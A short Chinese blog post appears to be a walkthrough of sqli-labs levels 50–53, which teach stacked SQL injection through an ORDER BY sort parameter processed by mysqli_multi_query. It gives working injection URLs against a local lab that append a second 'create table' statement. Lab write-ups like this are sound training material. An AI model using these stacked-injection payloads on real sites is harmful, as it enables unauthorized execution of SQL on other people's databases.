Less50,51,52,53【order by堆叠注入】

Less50与前面不同在于前面使用mysqli_query(),此函数只能执行一条sql语句,而less50使用的mysqli_multi_query()函数可以执行多个sql语句,也即是之前说的堆叠注入
Less50无闭合符号
http://127.0.0.1/sqli-labs-master/Less-50/?sort=1;create%20table%20less50%20like%20users#
 
Less51闭合符号为单引号
http://127.0.0.1:666/sqli-labs/Less-51/?sort=1%27;%20create%20table%20less51%20like%20users--+
 
Less52 与Less50一致,无闭合符号,区别在于盲注无报错
127.0.0.1:666/sqli-labs/Less-52/?sort=1 ; create table less52 like users--+
 
Less53与Less51一致,闭合符号为单引号,区别在于盲注
http://127.0.0.1:666/sqli-labs/Less-53/?sort=1%27;%20create%20table%20less53%20like%20users--+
  
posted @   峰中追风  阅读(107)  评论(0编辑  收藏  举报
编辑推荐:
· .NET制作智能桌面机器人:结合BotSharp智能体框架开发语音交互
· 软件产品开发中常见的10个问题及处理方法
· .NET 原生驾驭 AI 新基建实战系列:向量数据库的应用与畅想
· 从问题排查到源码分析:ActiveMQ消费端频繁日志刷屏的秘密
· 一次Java后端服务间歇性响应慢的问题排查记录
阅读排行:
· 互联网不景气了那就玩玩嵌入式吧,用纯.NET开发并制作一个智能桌面机器人(四):结合BotSharp
· 一个基于 .NET 开源免费的异地组网和内网穿透工具
· 《HelloGitHub》第 108 期
· Windows桌面应用自动更新解决方案SharpUpdater5发布
· 我的家庭实验室服务器集群硬件清单

___________________________________________________________________________________________没有白跑的路

点击右上角即可分享
微信分享提示